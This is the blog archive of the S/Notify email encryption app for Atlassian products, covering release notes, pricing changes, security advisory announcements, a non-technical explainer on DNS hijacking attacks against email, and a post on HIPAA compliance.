Oops They Did It Again - And Again!

First Confluence
When Atlassian released Confluence 7.0, among other libraries, the Java mail library was updated to a newer version. Unfortunately, it turned out that this version had an issue that made it impossible for S/Notify to properly work any more. It took a while until the problem was finally fixed with another update of the Java mail library in Confluence 7.5.

Then Jira
Jira was still using an old version of the Java mail library that needed an update, too. So in Jira 8.10, Atlassian updated it to the version that was known not to have the issue like in Confluence 7.5. Good job!

However (you knew there would be a however), they did not remove the problem version – maybe from an earlier update of the library, then forgotten after the second? We don’t know, but this lead to strange and unpredictable effects. For example, S/Notify sometimes works and sometimes doesn’t, depending on which library has been loaded – there was no foreseeable pattern.

Atlassian fixed that problem relatively fast in Jira 8.12.

Now Bitbucket
Bitbucket was on an old version for quite long, when Atlassian eventually decided to update the Java mail library. Unfortunately, it looks like the lessons learned from Confluence and Jira had been forgotten. That’s probably why, in Bitbucket 8.16, Atlassian decided to update again to the broken version 1.6.2 of the Java mail library!

We’ve instantly filed a bug report, and now we’re hoping – once again – for Atlassian to get this issue fixed very soon.

Actions To Take
In the meantime, either just don’t upgrade to Bitbucket 8.16+, or, if you need to, after the install of Bitbucket, apply our proven fix as explained here.

S/Notify Security Advisory 28-Nov-2023

Vulnerabilities found in S/Notify for Jira, Confluence and Bitbucket

We have fixed the following two vulnerabilities in the S/Notify app, one of which has been assessed a high severity. Unfortunately, it is a general vulnerability, so most customers will be affected. However, we have no reports or other indication of any of these vulnerabilities being actively exploited.

Please refer to to our documentation for full details about the found vulnerabilities, which installations are affected, and how to temporarily mitigate the vulnerabilities:

We recommend that you plan to update as soon as possible to our latest fix releases

With this information, we strive to provide you with optimum transparency. Please reach out to us if you have further questions.

S/Notify Security Advisory 2-Nov-2023

Vulnerabilities found in S/Notify for Confluence

We have fixed the following vulnerability in the S/Notify for Confluence app, which has been assessed a moderate severity. However, we have no reports or other indication of any of these vulnerabilities being actively exploited.

Please refer to to our documentation for full details about the found vulnerabilities, which installations are affected, and how to temporarily mitigate the vulnerabilities:

We recommend that you plan to update as soon as possible to our latest fix releases

With this information, we strive to provide you with optimum transparency. Please reach out to us if you have further questions.

S/Notify 4.0 released

Introducing a new major release of S/Notify Email Encryption with improved functionality and exciting new features!

We are delighted to announce the release of S/Notify Email Encryption for Jira and Confluence 4.0 (as well as S/Notify for Bitbucket 2.0) a major update that takes your email security to the next level. This version introduces numerous improvements, along with exciting new features, to ensure your confidential data remains protected and your communication workflows are more streamlined than ever before.

Take a look at the notable enhancements and additions in S/Notify Email Encryption 4.0:


New Features:

We are committed to continuously improving S/Notify Email Encryption to meet your evolving security needs. With these enhancements and new features, we are confident that S/Notify 4.0 will deliver the highest level of email security and user experience.

Upgrade to S/Notify Email Encryption 4.0 today and unlock the power of advanced encryption and streamlined workflows. Visit our website or contact our dedicated support team for more information on how to get started.

Thank you for your continued trust in S/Notify. We are excited to embark on this journey of enhanced email security together.

Price Adjustments

Announcing adjustments that we need to make to our app prices soon

Prices Increasing Moderately

We are adjusting the license prices for our Data Center products by what we believe to be an acceptable and moderate price increase.


We haven’t changed the prices of our apps since their first public releases, yet quite a few things have changed since then.

Data Center Reviews

Atlassian has overhauled the yearly review for Data Center apps, which is a good thing, because the process has added a lot of significance for Data Center customers, especially those with larger installations. While we endorse the enhanced process, it also requires us to invest more time and money into it year over year. However, we do think that this money is well invested for our customers.

Security Enhancements

Atlassian has also enhanced some security requirements to protect customers from hidden vulnerabilities. It goes without saying that we fully support their approach. In addition to that, we have implemented additional security measurements to protect our customers from vulnerabilities or stealth tampering. Again, we think this is a good investment for our customers.

Continuous Improvement

Finally, both Atlassian products as well as our apps get continuously improved, and while we see this as a matter of course, the time and money we have to spent for that has increased due to multiple reasons.



We are going to adjust the prices of

Price increase will be in the range of 4–12%. The exact amount will depend on the user tier.

Note that Server edition prices will not change.

Price Override for Existing Customers

Existing customers get a 60-day price override so they can pay the lower price when they renew or purchase. They receive the renewal price override as long as they're on the same product edition and the quote is created before the renewal override date (60 days from the price change).

So renewals and quotes for renewals will be at the old price for

Existing evaluators will receive the new price unless they have a pre-existing quote when they can purchase at the price of the quote. Atlassian quotes are usually valid for 90 days.

We therefore recommend that you obtain a quote before the price increase if you want to purchase at the old price. Note also that you can renew your existing license at the old price even if it is not going to expire within those 60 days.

Thank you very much for your understanding and for being our customer!

S/Notify 3.6 available now

S/Notify 3.6.0 has just been released for Jira and Confluence – and S/Notify 1.1.0 is available for Bitbucket, too!

New features and improvements

The new versions come with many new features and improvements, thanks to ideas and wishes from our customers.

Bitbucket users

Not all of the above improvements apply to S/Notify for Bitbucket 1.1.0, because it currently doesn’t support all of the features that S/Notify for Jira and Confluence offer. Please make sure to let us know if you want to use S/Notify for Bitbucket, and there’s anything that you miss!


We’ve also fixed smaller internal issues that we’ve stumbled upon. These are the ones you might be noticing:

S/Notify for Bitbucket out now!

Add email encryption to your bucket list with S/Notify for Bitbucket!

S/Notify for Bitbucket Data Center has been released and we are proud to announce that it is ready to protect the confidential contents of your Bitbucket’s notification mails.

Please let us know what you think. As always, we’re here to help you protect your work.

Any questions, suggestions, or other kind of feedback are much appreciated!

Your S/Notify team

Want S/Notify for Bitbucket?

S/Notify for Bitbucket now available from the Atlassian Marketplace! :raised_hands:
Check out https://marketplace.atlassian.com/apps/1226720

We’ve had occasional requests from customers who would like our S/Notify Email Encryption solution for their Atlassian Bitbucket instances as well. Until recently, we had to reply that there is no such solution available, but this is changing!

Bitbucket Support in the Making

Add email security to your bucket list!

We are currently working on an S/Notify for Bitbucket edition, and we are confident to provide a first release by the end of this year. Sounds promising, doesn’t it? :smiley:

If you are interested in S/Notify for Bitbucket, please do consider to get in touch with us soon!

Help Us to Help You!

We want to make sure that the upcoming release of S/Notify for Bitbucket 1.0 meets our customers' requirements in the best possible way.

However, to do so, we need your input. We ask you to get in touch with us to answer a few questions, like

By providing us with the necessary information, you can make sure that S/Notify for Bitbucket can do a great job for you right from the beginning!

Reach Out and Let Us Know

We are looking forward to hearing from you. Just ping us at snotify@savignano.net or from our service portal. You may also contact us via twitter.


No Log4j Vulnerability in S/Notify

We have been asked if S/Notify is affected by the Log4j vulnerability that has just been filed under CVE-2021-44228 (also referred to as Log4Shell) in the National Vulnerability Database of NIST.

The short answer is: no.

Now here’s the longer answer:

S/Notify internally uses the slf4j library for logging purposes, so our apps are not directly affected.

You may be interested to know that the source codes of S/Notify are scanned for vulnerabilities in its libraries according to the National Vulnerability Database on regular basis.

However, slf4j logging can be redirected to whatever the host application (Jira, Confluence etc.) uses. So, while we are not logging with the affected Log4j, the issue might theoretically be deferred to the host logging.

Atlassian is currently investigating, but does not expect to find issues. Please follow Atlassian’s FAQ for CVE-2021-44228 for details and updates.

We’ll update this blog page if we receive any relevant updates.

What's New in S/Notify 3.5

S/Notify 3.5 brings some very useful new features!

Add indicators to incoming emails

Available in Jira / Jira Service Management only

S/Notify now not only decrypts incoming emails, but it can optionally add information to the email indicating that the contents added in Jira was

Isn’t that awesome? 🤩

This new feature is off by default, but you can turn it on at the Encryption Settings administration page (see Encryption Settings - S/Notify for Jira).

Full signature verification

Available in Jira / Jira Service Management only

S/Notify 3.5 has improved in-depth signature verification. For S/MIME signatures, the full certificate chain and some certificate properties are checked. For PGP, the public key that was used to sign the email must be available and valid.

If the verification fails, the email will still be passed on. If you have selected to add indicators to the email, as described above, then the verification result will be obvious from the indicators added. Otherwise, the warnings can be checked for in the log file.

Additional or external LDAP server

S/Notify has had support for LDAP servers configured as User Directory in Jira or Confluence since a while now. But sometimes, users are maintained in another LDAP server, or S/MIME certificates may even be managed in an external LDAP.

With S/Notify 3.5, such LDAP servers can be added to the User Key Management (see User Key Management in S/Notify for Jira or User Key Management in S/Notify for Confluence), so S/MIME certificates can be retrieved from there as well.

Deferred storage of extracted certificates and keys

Available in Jira / Jira Service Management only

S/Notify is capable of extracting S/MIME certificates and PGP keys from incoming emails and store them with the appropriate user, so they can be used to encrypt any outgoing emails to the user.

However, until now there was a problem with emails sent from new users that did not yet exist when the email arrived, because this meant that there was no place where to store the extracted certificate or key.

S/Notify 3.5 comes with a sophisticated feature that will defer the storage of such certificates and keys until the user has been created by Jira. We think this is especially useful for customers in Service Management setups.

Let us know how you like it!

S/Notify 3.4.2 released

We’ve only just released S/Notify for Jira and Confluence in version 3.4.2. This version brings fixes as well as a few improvements.

Release Notes


Tweak values* now display correctly with special characters 

We’ve encountered an issue with tweak values that contained special characters not being displayed correctly. This issue did not affect functionality, it just didn’t look good.

Tweaks* now properly reset to their default if deleted 

We noticed that deleting tweak values did not re-establish the default behavior, as one would expect. Now it does.


Compatibility for SMTP connectors of Jira Email This Issue app 

Users of the Jira Email This Issue app would experience problems using the app’s own SMTP connector with S/Notify. We’ve been able to fix this problem, so S/Notify now even works with this third-party app’s SMTP connectors.

Decode mail contents before applying skipEncryptionRegex tweak* 

Emails containing special characters are automatically encoded a line-wrapped using quoted-printable which made it very difficult to use regex patterns on them. S/Notify will now decode such emails prioer to applying the regex to them.

PCKS#12 keystores without aliases now work 

Some tools create key stores without aliases which lead to problems finding the correct private key for a certificate in such key stores. We’ve improved S/Notify so now it doesn't rely on aliases any more.

Check missing outgoing mail server 

S/Notify will now tell you that it can’t work without an outgoing mail server. This sometimes caused confusion when testing our app on a freshly installed instance.

New tweak* to optionally create opaque signatures

Some Outlook clients complain about not being able to verify an S/MIME signature and suspected that someone had tampered with the message. To avoid this, it’s now possible to make S/Notify create so-called opaque instead of cleartext signatures.

* Tweaks are very specific settings that haven’t made it into an official feature yet. They can be set in Extended Settings, but need guidance from us. Never mind if you haven’t heard about them yet.

Confluence Data Center

Today, Atlassian has finally approved and released the publication of S/Notify for Confluence 3.4.1 which is our first version of S/Notify for Confluence available for both Server and Data Center. S/Notify for Jira Data Center has already been around for a while.

For more details on Data Center compatibility, see our article on Atlassian's End of Server.

How does this affect existing customers of S/Notify for Confluence?

Data Center Customers

Customers of Confluence Data Center must convert S/Notify to the Data Center edition if they update to version 3.4.1 or later. Atlassian will refund out any unused portion of the server app license for the purchase of a Data Center app license. Within the first 30 days of the purchase, you can receive a full refund. After 30 days of purchase, you will receive a pro-rated refund based on the date from when you request the refund.

If you have questions regarding licensing, we recommend that you contact Atlassian directly.

Server Customers

Customers of Confluence Server need not convert S/Notify to the Data Center edition if they update to a newer version. However, with Atlassian having announced the end of Server by February 2024, Server customers may want to consider to convert their Confluence instance to Data Center. If they do so, they will have to convert their S/Notify license, too.

To support our valued customers, we offer a 30% discount to existing Server customers if they convert to Data Center. The offer is going to be available for a limited time only, but at least until 30th June, 2021. Please contact our service desk to apply for the discount.

S/Notify 3.4 is out

S/Notify is undoubtedly the most comprehensive email encryption solution for Jira and Confluence!

S/Notify 3.4 Bringing Support For LDAP Based PGP Key Servers

PGP Universal Server Support

With S/Notify 3.4, we add LDAP support to PGP key server retrieval, so key servers like Broadcom’s PGP Universal Server can be used with S/Notify.

The same applies to the compatible implementation by GnuPG for LDAP servers.

Improvements and fixes

This is a quick small feature release, so there’s only some minor improvements and fixes in addition to the LDAP support for PGP key servers.

Data Center Discounts

We are currently preparing the release of S/Notify for Confluence Data Center.

We would like to announce that we have decided to offer Data Center Discounts to those of our customers who have to switch from Server to Data Center due to Atlassian’s end of Server policy for S/Notify Jira and Confluence. You can apply via our service desk.

Please note that this is a limited offer. We reserve our right to discontinue the offer at any time (but we plan to announce it early enough for you to react).

S/Notify 3.3 Available

S/Notify is undoubtedly the most comprehensive email encryption solution for Jira and Confluence!

S/Notify 3.3 New Features And Improvements

Additional Jira Service Management Customers Support

For those of you who run S/Notify on Jira Service Management, formerly known as Jira Service Desk, there is a very useful new feature available with this version:

JSM customers now can upload their S/MIME certificate or PGP key from within the customer portal. A great way to support encrypted service emails – in addition to the automatic extraction of certificates and keys from incoming customer emails which we had already made available in our app’s last feature release!

Email Subject Encryption Improved

Subject encryption provides great security, but there’s one snag to it. If all subject headers are replaced by the same text, almost all email clients fail to group emails in a sensible way. A threaded view is not possible any more.

Therefore, we’ve added the option to keep the Jira task or Confluence space ID in the subject. We think that these IDs are cryptic enough not to leak any insight, but at the same time, they are unique enough to make threaded views in email clients work again.

How do you like that idea? Let us know – we’re looking forward to hearing from you!

Enhanced LDAP Support

This version comes with full support of authenticated access, SSL connections, and filtered selections with LDAP servers, so S/Notify should now work in even the most custom environments.

Other Improvements


Please send us comments, feature wishes, and any other type of feedback – it is much appreciated!

New in S/Notify 3.2

S/Notify is undoubtedly the most comprehensive email encryption solution for Jira and Confluence!

S/Notify for Jira Data Center Available

This affects only Jira Data Center users. If you are using Jira Server, nothing changes for you.

Due to repeated customer demand, we have been working on releasing a Data Center version. Starting from S/Notify 3.2, we will start releasing S/Notify for Jira Data Center versions in parallel to our S/Notify for Jira Server versions.


What this means for you:

Any customer running this application on a DC Instance need to convert their license over to a DC App license if they intend on upgrading to this DC version.

For more information see: https://www.atlassian.com/licensing/data-center-approved-apps

S/Notify for Confluence Data Center Approval in Process

We plan to also provide an S/Notify for Confluence Data Center version with the next feature release.


Please note that we have started the DC Approval process and intend on releasing a DC compatible version in the future.

What this means for you:

Any customer running this application on a DC Instance would need to convert their license over to a DC App license if they intend on upgrading to the DC version in the future.

For more information see: https://www.atlassian.com/licensing/data-center-approved-apps

S/Notify 3.2 New Features And Improvements

Elliptic Curves Ciphers

You have asked for it, and here it comes: S/Notify now supports PGP keys with elliptic curves ciphers. 

Elliptic curves ciphers are gathering more and more interest because they are said to be more secure if compared to classic ciphers at the same key length. We have tested with NIST curve P-256 (GnuPG selection EcDSA) and Curve25519 (GnuPG selection EdDSA), but others should work as well.

Email Subject Encryption

Again, due to customers asking for it, we have now added support for the encryption or protection of the email subject. As the email subject may contain sensitive data, this makes a lot of sense. However, bot S/MIME and PGP usually only encrypt the message body, leaving the headers exposed – with the email subject being one of them.

There are some attempts and drafts how to protect the subject which, however, are not yet widely supported. For example, the S/MIME standard describes a way to wrap the full message including it headers and encrypt it. However, such messages are interpreted as forwarded messages and thus displayed in a way that confuses the standard email user. While in Apple Mail, it worked quite well, Microsoft Outlook hides the whole message in an attachment, displaying only an empty message to the user. Because of this unsatisfactory situation, we decided to got for another approach often referred to as MemoryHole Protected Headers (draft)

We use Protected Headers in legacy mode. This means that the email subject is displayed as plain text to the users by email clients that do not know about Protected Headers. We found this to be the less confusing and most versatile approach. However, if you prefer to use the S/MIME rfc822/message approach, please contact us, and we will tell how to change it.

With regard to incoming email, subject encryption will automatically be detected and processed correctly, independent from which of the above approaches has been chosen by the sender. 

Key Or Certificate Extraction (Jira only)

S/Notify provides many ways to manage keys and certificates, from users uploading them on their own to using key servers, local key stores, or LDAP servers to obtain the necessary encryption keys. 

This release adds one more way to the list, by offering to automatically extract keys or certificates from incoming email. Once activated, incoming email will be checked for attached PGP keys or certificates that are usually included in S/MIME signatures. If found, they are extracted and stored for use of encrypting emails to the user.

Note that for keys or certificates to be extracted, the incoming email must be properly signed, and, of course, the key or certificate must be valid for the sender who has to be a valid Jira user.

Other Improvements


Please send us comments, feature wishes, and any other type of feedback – it is much appreciated!

Atlassian's "Journey To Cloud" Strategy

Atlassian surprised and admittedly shocked its community when it published its new strategy Journey To Cloud which means significant changes to Atlassian’s self-hosted offerings.

Cloud first

To make a long story short, Atlassian thinks the best solution for its customers is the cloud. For those customers who need to stay with a self-hosted solutions, only Data Center will be continued. This obviously targets large enterprises, while the smaller ones are seen as cloud-only customers. The transformation is planned to happen within the next 3 years.

While we know that these assumptions are probably not right for users of S/Notify, we wanted to communicate our plans for S/Notify, so our customers know what to expect from us.

S/Notify is here to stay

First of all, for all Server customers, I want to make clear that you have bought perpetual licenses. This means you can use Jira and Confluence forever, and the same applies to S/Notify. Your software won’t suddenly stop working.

S/Notify for Jira and Confluence Server

The S/Notify for Jira and Confluence Server apps will continue to be available as long as Atlassian continues to sell server apps. Server customers who stay on Server will be able to continue purchasing S/Notify apps until February 2, 2023 PT from the Atlassian Marketplace. Renewals are expected to be prorated with an end date of February 2, 2024 PT to match your server products' end of support date.

We are evaluating options to provide licenses and maintenance options after these dates, so to enable you to continue using our apps.

S/Notify for Jira and Confluence Data Center

For those of you who move to a Data Center license, S/Notify for Jira Data Center is already available, and S/Notify for Confluence Data Center is just being prepared for approval.

Open source and community customers will be able to request a free S/Notify license directly from us if Atlassian would not make them available through the Atlassian Marketplace.

S/Notify in the Cloud?

What we cannot say yet is, will S/Notify become available for cloud instances?

Unfortunately, Jira and Confluence Cloud have significant limitations. That's the reasons why many apps are not available for cloud or, if they are, have less functionality than their self-hosted counterparts. We are currently evaluating options, but it is clear that we need Atlassian to provide necessary APIs, and it is difficult to estimate if and when they will become available.

If you consider switching to cloud, please let Atlassian know that you need S/Notify. That would definitely help to make them more aware.

S/Notify Sidecar Solution

We are also working on what we call a sidecar solution as our working title. That would be a separate application that integrates with Jira and Confluence and probably more applications. Our plans are to offer it as both, self-hosted or cloud solution. Stay tuned.

Don’t Panic

While said article has caused quite some commotion among Atlassian’s Server customers, we recommend our customers to wait a few weeks until they make decisions about their own reaction to it. We expect that Atlassian fine-tunes their new offerings, so we think it makes sense to wait until then to be able to evaluate all available options.

Oops They Did It Again

The issue described below has been fixed in Jira 8.12 – see Resolved Issues | Resolved with Jira 8.12 and Jira Service Desk 4.12 for details.

First Confluence

When Atlassian released Confluence 7.0, among other libraries, the Java mail library was updated to a newer version. Unfortunately, it turned out that this version had an issue that made it impossible for S/Notify to properly work any more. It took a while until the problem was finally fixed with another update of the Java mail library in Confluence 7.5.

Now Jira

Jira was still using an old version of the Java mail library that needed an update, too. So in Jira 8.10, Atlassian updated it to the version that was known not to have the issue like in Confluence 7.5. Good job!

However (you knew there would be a however), they also included the problem version – maybe from an earlier update of the library, then forgotten after the second? We don’t know, but now this leads to strange and unpredictable effects. For example, S/Notify sometimes works and sometimes doesn’t, depending on which library has been loaded – we haven’t seen a pattern yet.

Actions To Take

Of course, we’ve reported this to Atlassian as soon as we had identified the problem cause. Let’s hope we’ll get a fix very soon.

In the meantime, better don’t upgrade to Jira 8.10+ if you don’t need to. We’ve had a report that the mail handlers may not work reliably any more, even without S/Notify installed.

Update: They have fixed the issue in Jira 8.12 – so just avoid Jira 8.10 and 8.11 and you're good!

Withdrawing S/Notify 3.2.0 for Jira and Confluence

The issue has been fixed with release 3.2.1, please see New in S/Notify 3.2


S/Notify 3.2.1 for Jira has been released for Server and Data Center

S/Notify 3.2.1 for Confluence has been released
S/Notify 3.2.1 for Jira is awaiting final DC approvement

We’ve fixed the problem and are preparing S/Notify 3.2.1 for its release

Both, Jira and Confluence, are affected

Unfortunately, a bug has slipped through our release testing - see below for details


When upgrading to S/Notify 3.2.0 from an earlier version, the per-project / per-space encryption settings are lost.

The problem appears only when upgrading, and it is only relevant to customers who use per-project encryption.

We would like to thank Mirko Tanania who reported this issue to us!


We have decided to withdraw S/Notify 3.2.0 from the Marketplace. It is no longer available from there.

We have identified and fixed the issue, and we are in the process of releasing S/Notify 3.2.1 on the Atlassian Marketplace.

We recommend that you watch this page to receive updates as we proceed!

What to consider when installing S/Notify 3.2.1

You can just upgrade S/Notify 3.2.1, and your settings from 3.1.0 or earlier will be kept properly.

Only if had already installed 3.2.0, note that project settings changed in 3.2.0 are not kept. Instead, your original settings from 3.1.0 or earlier will be restored.

We are sorry for any inconveniences we may have caused!

S/Notify 3.1 Released

S/Notify 3.1 with new features and many improvements

S/Notify is undoubtedly the most comprehensive email encryption solution for Jira and Confluence!

Please note that we have started the DC Approval process and intend on releasing a DC compatible version in the future.

What this means for you:
Any customer running this application on a DC Instance would need to convert their license over to a DC App license if they intend on upgrading to the DC version in the future.

For more information see: https://www.atlassian.com/licensing/data-center-approved-apps#

Considerations when upgrading

Before you upgrade S/Notify from 3.0 to 3.1, if you are using the per project or per space encryption feature, please note that we have made some changes to improve the way those emails are handled that were considered ambiguous in the 3.0 version.

Improved email analysis

Emails that contain references to more than one project are now evaluated in a much more sophisticated way. All references are checked regarding their encryption settings. If different projects or spaces are referred to, yet they do all have the same encryption setting, the email is no longer considered ambiguous.

In other words, only when the referred projects or spaces have contradictory encryption settings, the email is considered ambiguous, and the configuration setting for ambiguous emails is applied.

In addition to this enhanced analysis, a new configuration setting has been added for “other” emails – emails that do not refer to any project or space at all. These types of emails can now be treated independently from ambiguous emails. We recommend that you check your settings after the upgrade to 3.1 to make sure you use the configuration that serves your requirements best.

Intermediate S/MIME certificates

With release 3.1, S/Notify is capable of including intermediate certificates. If you want to make use of this new feature, please make sure that the necessary intermediate certificates are included in the server key store.

And here’s the complete list of what’s new in release 3.1:

New features



Please send us comments, feature wishes, and any other type of feedback – it is much appreciated!

EU-GPDR Seminars (German DSGVO)

Note: This article is in German because it refers to seminars in German language

Kostenlose DSGVO-Seminare für unsere Kunden

Nutzern unserer S/Notify Email Encryption App für Jira und Confluence dürfen wir heute in Kooperation mit Whitefield Rechtsanwälte ein ganz besonderes Angebot machen:

Völlig kostenlos und unverbindlich bietet Whitefield unseren Kunden Online-Seminare zum Thema EU-DSGVO an!

Folgende Seminare sind verfügbar:

Unverbindlicher Zugang

Wer möchte, kann sofort loslegen! Die Zugangsdaten zur eLearning Plattform sind:

Zugangscode: WHITEFIELD-MANDANT-2837

Diese Daten dürfen auch gerne innerhalb Ihres Unternehmens weitergeben werden.

Weitere Angebote

Bei Interesse bietet Whitefield außerdem diese weiteren Vorteile an:

Wir finden, das ist ein tolles Angebot und freuen uns sehr, es unseren Kunden machen zu können!

Ihr S/Notify Team

S/Notify 3.0 Out Now

We’re very proud to announce the release of S/Notify 3.0 with an incredible bunch of new features and improvements!

Inbound decryption

S/Notify now allows you to accept and process incoming encrypted emails. They can automatically be decrypted, so they can be processed by Jira to create new issues or new comments in existing issues.

Email signatures

All outgoing emails can now be signed for improved trust and security in both, Jira and Confluence.

For incoming emails in Jira, S/Notify can strip off the signatures, so they don’t get attached to issues over and over again.

Per-project and per-space encryption

It is now possible to switch encryption on or off separately for each Jira project or Confluence space. This feature can be allowed or disallowed globally. If allowed, Jira project or Confluence space administrators will get a new option to configure decryption for their project.

Emails that do not belong to a project or space can be handled specifically.

Email anyone

It is now possible to encrypt any outgoing email, even if there is no user account associated with the email address, provided the required S/MIME certificate or PGP key can be retrieved elsewhere.

German localization

If Jira or Confluence is set to German, then S/Notify will speak German, too.

Many additional improvements

In addition to the brand-new features, we have added a load of improvements all over S/Notify, like for example:

Thanks to all who contributed their suggestions to our product!

It was a great pleasure to create this new release for such an interested and supportive audience!

Your S/Notify Team

DNSpionage Attacking Email

Massive attacks through DNS hijacking

You might have heard of DNS hijacking lately, or you might have come across DNSpionage in the news. Warnings were issued by the Cybersecurity and Infrastructure Security Agency of the US Department of Homeland Security, by the UK National Cyber Security Centre and by other leading security enterprises, like Cisco, Talos, FireEye, and Akamai that ongoing DNS hijacking attacks threaten public authorities, enterprises and all kinds of businesses in multiple countries around the world, including the USA, Germany, and Sweden.

It's clearly time to act. But how can DNS hijacking threaten email? 

How DNS hijacking works

DNS is short for Domain Name Service. The internet infrastructure uses IP addresses that are hard to memorize for humans. Therefore, we use domain names which are symbolic names that need to be translated to the technical IP address. That's what the DNS is for. If you enter a domain name in your browser's address bar, your computer will send a query to a DNS server to ask for the server IP address that is behind that domain name and that is needed to connect to that server. 

However, if that DNS server returns the wrong IP address, the client connects to that address without knowing that it's not really the server behind the domain name. 

How DNS hijacking threatens email communication

This cannot only happen with web servers, but also with mail servers. If your mail client connects to your mail server, it will send your personal credentials to the server to authenticate and exchange your personal email with it. But if it's not the correct server but a fake server, all clients connecting to that server will inadvertently reveal the users login data to the fake server!

Not only will this expose all emails currently stored on the server, it also enables the attacker to continue to spy out your email until the password is eventually changed.

Note that the attacker does not need to hijack the DNS for long. It has been reported that the DNS was hijacked for not longer than an hour which is still enough time to collect many users' credentials, because most email clients are configured to check for new mail in short intervals.

The user will not notice a problem. It's not so unusual that a mail server does not deliver email for a short period that a user would become suspicious. But the fake mail server can even connect to the original server and pass through the email as if everything was in perfect order.

How to hijack the DNS 

You may wonder how it is possible to hijack DNS servers in the first place. This, indeed, requires access to the DNS server. This can be accomplished through security holes or phishing attacks against the server administrators. It may not be too easy, but it's doable and worth the effort. Once control has been gained over the DNS server, it is possible to change the DNS response of virtually any domain. 

Once the IP address has been exchanged by one that is under control of the attacker, the fake server behaves as if it was the original server. Even if the client requests an encrypted connection, the fake server can provide this as well. 

How email encryption protects

Email encryption does not protect you from trusting a fake DNS server. There is method called DNSSEC that is said to help us with that. Yet, email encryption helps im another way.

If you used email encryption, even though your email is disclosed, the contents of your emails remains locked from the attacker. Remember that email encryption is genuine end-to-end encryption which means that just access to the email messages does enable the attacker to spy out their contents. Without the private keys required to decrypt the messages, even disclosed email remains protected. 

Encrypted email is in fact useless to the attacker! 

Unfortunately, DNSpionage attacks are still ongoing. So, if you don't encrypt your email yet, take this as your call to action. 

Further reading

S/Notify 2.2 supports LDAP

In many companies, user directories are managed using LDAP servers or other directory solutions that provide LDAP compatible access. Jira and Confluence come with an impressively long list of supported software:

All of these can be configured as a user directory in Jira or Confluence (some are limited to read-only support).

Automatic LDAP server selection

We are proud to announce that, starting from release version 2.2, S/Notify supports the automatic selection of the LDAP servers which have been configured as a user directory. 

How does that work?

When an email is about to be sent, S/Notify identifies the user, and the Jira or Confluence user directory this user is listed in will automatically be determined.  The next step is to query the selected LDAP server, if there is an S/MIME certificate stored for the user. If so, it will be loaded and used for email encryption. 

S/Notify supports LDAPs configured as read/write, read-only or authentication-only (delegated).

This means that, if you have already configured your LDAP as a user directory in Jira or Confluence, S/Notify can automatically use it. No further setup required!

What is the advantage?

If, in your company, users are managed using one of the many user directories supported in Jira or Confluence, that's the best and most straight-forward way to distribute the users' S/MIME certificates. With the LDAP support we've built into S/Notify 2.2, it is possible to use them very easily with zero extra administration.


If you have any questions left, we are looking forward to hearing from you!

Email Encryption for HIPAA compliance

Recently, we've got an inquiry about how S/Notify Email Encryption for Jira and Confluence could help with HIPAA compliance. This was an interesting question, and I'd like to share our findings with you.

tl;dr – S/Notify Email Encryption for HIPAA compliance

The short answer is: yes, S/Notify enables you to comply with HIPAA when using Jira and Confluence.

For those who want the long answer, let's first clarify a few things about HIPAA.

What is HIPAA?

HIPAA stand for the Health Insurance Portability and Accountability Act. It was enacted in 1996 to set the standard for sensitive patient data protection in the USA. Companies that deal with protected health information (PHI) must have physical, network, and process security measures in place and follow them to ensure HIPAA Compliance. Covered entities (anyone providing treatment, payment, and operations in healthcare) and business associates (anyone who has access to patient information and provides support in treatment, payment, or operations) must meet HIPAA Compliance. Other entities, such as subcontractors and any other related business associates must also be in compliance.

What is HIPAA Compliance?

To help ensure HIPAA compliance, the U.S. government passed a supplemental act, The Health Information Technology for Economic and Clinical Health (HITECH) Act, which raises penalties for health organizations that violate HIPAA Privacy and Security Rules. The HITECH Act was put into place due to the development of health technology and the increased use, storage, and transmission of electronic health information.

The HIPAA required the Secretary of the U.S. Department of Health and Human Services (HHS) to develop regulations protecting the privacy and security of certain health information. To fulfill this requirement, HHS published what are commonly known as the HIPAA Privacy Rule and the HIPAA Security Rule. The Privacy Rule, or Standards for Privacy of Individually Identifiable Health Information, establishes national standards for the protection of certain health information. The Security Standards for the Protection of Electronic Protected Health Information (the Security Rule) establish a national set of security standards for protecting certain health information that is held or transferred in electronic form. The Security Rule operationalizes the protections contained in the Privacy Rule by addressing the technical and non-technical safeguards that organizations called “covered entities” must put in place to secure individuals’ “electronic protected health information” (e-PHI). Within HHS, the Office for Civil Rights (OCR) has responsibility for enforcing the Privacy and Security Rules with voluntary compliance activities and civil money penalties.

Use of Email Encryption

Now, how can Email Encryption help to become HIPAA compliant?

The HIPAA Technical Safeguards published by the US Department of Health and Human Services (see References) cover these areas defined in the HIPAA Security Rules: access control, audit controls, integrity, person or entity authentication, transmission security. According to this document, email encryption is an appropriate solution to to cover § 164.312(e)(1) Transmission Security. Within this area, email encryption is able to cover both, § 164.312(e)(2)(i) Integrity Controls and § 164.312(e)(2)(ii) Encryption. 

Encryption is an important element of HIPAA compliance for email. The method of encryption is not specified in HIPAA, but HIPAA-covered entities can obtain up to date guidance on encryption from the National Institute of Standards and Technology (NIST), which currently recommends the use of Advanced Encryption Standard (AES) 128, 192 or 256-bit encryption in its latest publication SP 800-45 Version 2 (see References). The following is quoted from this publication:


The most significant feature of S/MIME is its built-in and nearly “automatic” nature. Because of heavy industry involvement from manufacturers, S/MIME functionality exists with default installations of common mail clients such as Mozilla and Outlook Express. 

Organizations using S/MIME to protect emails should use AES or 3DES (preferably AES, which is considered a stronger algorithm than 3DES).


Many free and commercial products that use the OpenPGP standard are currently available. The software can be downloaded or purchased from a variety of Web sites.15 Some OpenPGP-based products fully support the cryptographic algorithms recommended to the Federal government by NIST in FIPS PUB 140-2 and other publications, including 3DES and AES for data encryption, Digital Signature Algorithm (DSA)16 and RSA for digital signatures, and SHA for hashing.17 Some implementations of OpenPGP support other encryption schemes not addressed here.

Recommended Cipher Suites

NIST considers AES-128, AES-192, and AES-256 to provide highest security, while 3DES is considered secure and compatible. 

While 3DES is not known to be broken, due to its basic design, with enough computer power, it's considered to be more easily breakable than AES.

S/Notify for HIPAA Compliance with Jira and Confluence

Email encryption is considered an appropriate solution to to cover Transmission Security, and, within this area, is able to cover both, Integrity Controls and Encryption. As a consequence, if you use Jira (including Jira Service Desk) and Confluence to manage any protected health information (PHI), S/Notify is perfect to get you covered with regard to the transmission security of email notifications. S/Notify currently supports S/MIME encryption with AES-256, as recommended by NIST for highest security.

Stay in touch with us

Want To Learn More Every Now And Then?

Would you like to be updated with tipps and tricks regarding S/Notify and email encryption in general? Just let us know, and we'll love to add you to our list. Thank you!


Images from Wikimedia Commons (except S/Notify)

S/Notify 2.1 released and getting better all the time

